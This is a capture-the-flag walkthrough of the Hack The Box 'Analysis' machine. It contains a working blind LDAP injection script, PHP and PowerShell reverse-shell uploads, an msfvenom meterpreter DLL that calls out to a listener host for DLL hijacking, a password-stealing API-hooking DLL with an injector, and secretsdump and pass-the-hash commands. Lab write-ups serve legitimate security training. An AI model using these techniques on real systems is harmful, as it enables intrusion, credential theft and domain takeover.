Post

HTB - Analysis

Analysis - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



HTB - Analysis

1
2
nmap 10.129.230.179 -A -Pn

image1

1
2
sudo nmap -sUV -T4 -F --version-intensity 0 10.129.230.179

image2

Host: DC-ANALYSIS

Domain: analysis.htb

  • Add to /etc/hosts

image3

  • Didn’t find anything on the site And no directories

Subdomain enumeration:

1
2
gobuster dns -d analysis.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -r analysis.htb:53

image4

  • Add internal.analysis.htb to /etc/hosts

image5

  • Dirsearch (without recursive -r):

dirsearch -u http://internal.analysis.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 50

image6

  • Good wordlist for extensions:
1
2
/usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt

  • Search for extensions:
1
dirsearch -u http://internal.analysis.htb/users -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt -r -t 50

image7

1
dirsearch -u http://internal.analysis.htb/employees -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt -r -t 50

image8

image9

  • We get http://internal.analysis.htb/dashboard/404.html but it’s just a template:

image10

  • Login panel but we don’t have credentials:

http://internal.analysis.htb/employees/login.php

image11

  • Going to http://internal.analysis.htb/users/list.php - we get:

image12

  • Since the list is under Users - we can assume one of the parameters could be “name”?

image13

  • It’s not a SQL or NoSQL database - checked with Sqlmap More like an information table.

  • LDAP injection:

image14

  • By inserting an asterisk * in the parameter value:

image15

  • We get a user technician

  • The technician user could have his password or other information in his description

  • Changing the parameters, doesn’t give new information - so this could be blind LDAP injection

  • Using the format: name=*)(%26(objectClass=*)(description=*)

image16

  • We still get technician back:

image17

  • We can bruteforce the description field - like blind SQLi Using one char at a time:

image18

  • If the chosen character is incorrect we get this:

image19

  • But if it’s correct:

image20

  • We get the technician user:

image21

  • And so keep adding one char at a time:

image22

  • If the character you guessed is an asterisk * - The output will produce nothing:

image23

image24

So the next character needs to be guessed in order to estimate whether * is part of the word.

(Tip: Save the asterisk * till last, and guess everything else first)

image25

  • Blind LDAP injection script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import urllib.parse

def main():
    charset_path = "/usr/share/seclists/Fuzzing/alphanum-case-extra.txt"
    base_url = "http://internal.analysis.htb/users/list.php?name=*)(%26(objectClass=user)(description={found_char}{FUZZ}*))"
    found_chars = ""
    skip_count = 6
    add_star = True

    with open(charset_path, 'r') as file:
        for char in file:
            char = char.strip()
            # URL encode the character
            char_encoded = urllib.parse.quote(char)

            # Check if '*' is found and skip the first 6 '*' characters
            if '*' in char and skip_count > 0:
                skip_count -= 1
                continue

            # Add '*' after encountering it for the first time
            if '*' in char and add_star:
                found_chars += char
                print(f"[+] Found Password: {found_chars}")
                add_star = False
                continue

            modified_url = base_url.replace("{FUZZ}", char_encoded).replace("{found_char}", found_chars)
            response = requests.get(modified_url)

            if "technician" in response.text and response.status_code == 200:
                found_chars += char
                print(f"[+] Found Password: {found_chars}")
                file.seek(0, 0)  # Reset to beginning of charset file

if __name__ == "__main__":
    main()

image26

technician : 97NTtl*4QP96Bv

technician@analysis.htb

  • We can now login to:

http://internal.analysis.htb/employees/login.php

image27

image28

  • Going to the SOC Report page, we can upload a file: When I first uploaded the pentest monkey reverse_php, it failed.

But I removed the leading comments and renamed it (it does check the name)

And it uploaded:

image29

  • Set up a listener:
1
2
rlwrap -cAr nc -lvnp 4445

Navigating to dashboard/uploads/test.php

image30

  • I get an error and the shell fails:

image31

  • This is because the shell is for Linux

  • The way I got a reverse shell was: First I uploaded a .php file (from revshells) containing :

image32

  • That gave me a web input box, where I can input commands in cmd

image33

So I got a Powershell reverse shell #2 from revshells:

image34

  • And we got a shell

image35

  • It’s all in French:

image36

  • Upload winPEAS

image37

  • Found credentials for a user: jdoe : 7y4Z4^*y9Zzj

  • Test the credentials with CME:

1
2
crackmapexec smb analysis.htb -u jdoe -p 7y4Z4^*y9Zzj

image38

  • Get a shell:
1
2
evil-winrm -i analysis.htb -u jdoe -p "7y4Z4^*y9Zzj"

image39

cat user.txt

Priv Esc Method 1: Snort DLL Hijacking

  • Downloaded the latest winPeasAny.exe script

https://github.com/carlospolop/PEASS-ng/releases/tag/20240303-ce06043c

  • Running that gave me:

image40

  • Looking through the Snort files - we get a config file:

image41

  • In the config file, we are particularly interested in this line:

image42

As it says that it calls on the dll file - sf_engine.dll

  • Now if we look in snort_dynamicengine dir - there is a file with that name in there

image43

  • But it isn’t in the snort_dynamicpreprocessor dir

  • We have write permissions for this folder:

1
2
icacls snort_dynamicpreprocessor

image44

  • We can leverage this by uploading our own dll file into this directory and wait for it to be loaded

  • Create a malicious dll:

1
2
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.84 LPORT=4444 -f dll -o sf_engine.dll

  • Start listener:
1
2
msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 10.10.14.84; set lport 4444; exploit"

  • Upload the malicious dll:

image45

  • Wait for a shell:

image46

image47

image48

1
2
evil-winrm -u Administrateur -H "584d96946e4ad1ddfa4f8d7938faf91d" -i 10.129.242.35

Priv Esc Method 2: API Hooking - DLL Injection

  • In the /private directory, we can see an encrypted file that was encrypted using BCTextEncoder

image49

  • Download BCTextEncoder.exe.exe:

image50

  • Running the program, we can see that we need to provide a password (I opened a windows server vm to test on)

image51

  • If we look at the running processes:

image52

image53

We can see BCTextEncoder but also two other processes (with the same name) that gets spawned from it

  • If I look at the processes on my Windows VM (because it has a GUI):

image54

We can see just that

  • The thing is, the process ID (PID) stays the same, as long as the program is open

  • But on the Victim machine (HTB box), they keep changing. So someone must keep opening it and entering the password potentially

image55

To exploit this, we need:

  • To find the API that stores the entered password and hook it
  • Create a x86 malicious DLL, to will be injected into the process
  • Create a x86 injector.exe that will inject the DLL file
  • The process ID for TextEncode

TL:DR - Use the precompiled files on my github https://github.com/player23-0/BCTextEncoder_DLL_injection

If you want to follow the logic behind the exploit - continue:

Step 1:

  • Open a Windows VM

  • Download APIMonitor:

http://www.rohitab.com/downloads

  • Upload the BCTextEncoder that we downloaded

  • Open APIMonitor 32bit Make sure all filters are ticked:

image56

  • Now go to File -> Monitor New Process

image57

  • Now click the Pause Monitor button - this allows the BCTextEncoder to pop up

image58

  • And then Resume again:

image59

  • In the BCTextEncoder - Add some text and then click Encode and enter a password. I entered Rambo12345

image60

image61

  • Now we need to find the right process:

image62

There are two TextEncoder processes.

We need to look through the threads for each, to find which one holds our password in plaintext

  • Click on a thread and click inside the Summary bit and press Ctrl+F
  • Now type the password you entered

image63

  • We can see that the API function is WideCharToMultiByte

image64

Step 2:

Now that we know that, we need to write a DLL that can bypass this function and run our own function to save the credentials

image65

  • We already know that the function to be bypassed is WideCharToMultiByte

image66

  • There is a code repo that already does this, we just need to modify the API function and then record the password The repo is called RDPThief

https://github.com/0x09AL/RdpThief/tree/master

The API hooking rewritten code is as follows:

image67

The above code explained:

Function Pointer Setup: The code creates a function pointer named TrueWideCharToMultiByte that points to the original WideCharToMultiByte function. This allows the program to call the original function even though it’s going to intercept calls to it.

Custom Function: It then defines a new function, _WideCharToMultiByte, which is meant to replace the original WideCharToMultiByte function. This new function does something special before calling the original function.

Parameters Passed Through: When _WideCharToMultiByte is called, it takes all the parameters it received and passes them directly to the original WideCharToMultiByte function using the TrueWideCharToMultiByte pointer. This ensures that, from the perspective of the rest of the program, _WideCharToMultiByte behaves exactly like the original WideCharToMultiByte.

Extra Functionality: Before passing the call to the original function, _WideCharToMultiByte does an additional task: it calls WriteCredentials. This is where it records or logs some decrypted password information. Essentially, it’s sneaking in some extra work before letting the original function do its job.

In even simpler terms: Imagine you have a friend who always goes to buy coffee from the same coffee shop. One day, you give them a new map that routes them through a park (your custom function) where you’ve asked them to drop off a letter (the extra task) before they continue to the coffee shop. Your friend still gets their coffee by following the original path after the detour, just like the program still calls the original WideCharToMultiByte function after doing the extra work.

  • Git clone the RDPThief repo
  • Open the Project in Visual Studio and modify RDPThief.cpp by using my PasswordThief.dll code:

image68

image69

  • The code is in C++, Select Release and x86 before building

Test it

  • Download Process Hacker 2
  • Open Process Hacker
  • Open BCTextEncoder

  • You should see this:

image70

  • Now right click one of the TextEncoder processes and go to Miscellaneous -> Inject DLL

image71

  • Choose the PasswordThief.dll we made

  • Now right click the process and got to Properties -> Modules and see if the dll was loaded

image72

  • With my code, I added a MessageBox function just for POC , but it can be removed (line 36)

image73

We can see here that the MessageBox popped up

  • The password was written to %TEMP%\data.bin

image74

  • And decoding does the same:

image75

Step 3:

  • This was by far the hardest part
  • None of the github repos helped, neither did modules like post/windows/manage/reflective_dll_inject or PowerSploit’s Invoke-dllinjection module

  • This one repo did help me massively - to figure out which technique works with my DLL:

https://github.com/milkdevil/injectAllTheThings

  • I created my own injector program

  • The hardest part was figuring out what DLL injection method to use as only one worked for me: RtlCreateUserThread

image76

  • The code for injector.exe:

image77

image78

  • I tested this on my Windows VM first

Step 4:

  • Upload the injector.exe and the PasswordThief.dll to the Victim (HTB) machine
  • Open two evil-winrm terminals
  • Because the PID’s keep changing - you need to be quick when injecting the DLL
  • I injected it in both TextEncode processes because I didn’t know which one it will be

Usage: injector.exe <FULL Path to DLL> <Process_PID>

(Tested on Windows 11, Server 2016, 2019)

image79

  • We can see that data.bin got created:

image80

image81

  • Using the password we just got, we can decode the encoded.txt file in C:\private

  • Copy the contents to BCTextEncoder and enter the password:

image82

  • We get a password for wsmith DMrB8YUcC5%2
1
2
evil-winrm -i 10.129.242.35 -u wsmith -p "DMrB8YUcC5%2"

image83

  • I uploaded SharpHound

image84

WSmith has ForceChangePassword on SOC_Analyst which has GenericAll to Domain Admins

image85

image86

  • Now we can dump the hashes from the DC:
1
2
impacket-secretsdump soc_analyst:'Password123!'@10.129.242.35 -dc-ip 10.129.242.35

image87

1
2
evil-winrm -u Administrateur -H "584d96946e4ad1ddfa4f8d7938faf91d" -i 10.129.242.35

image88

This post is licensed under CC BY 4.0 by the author.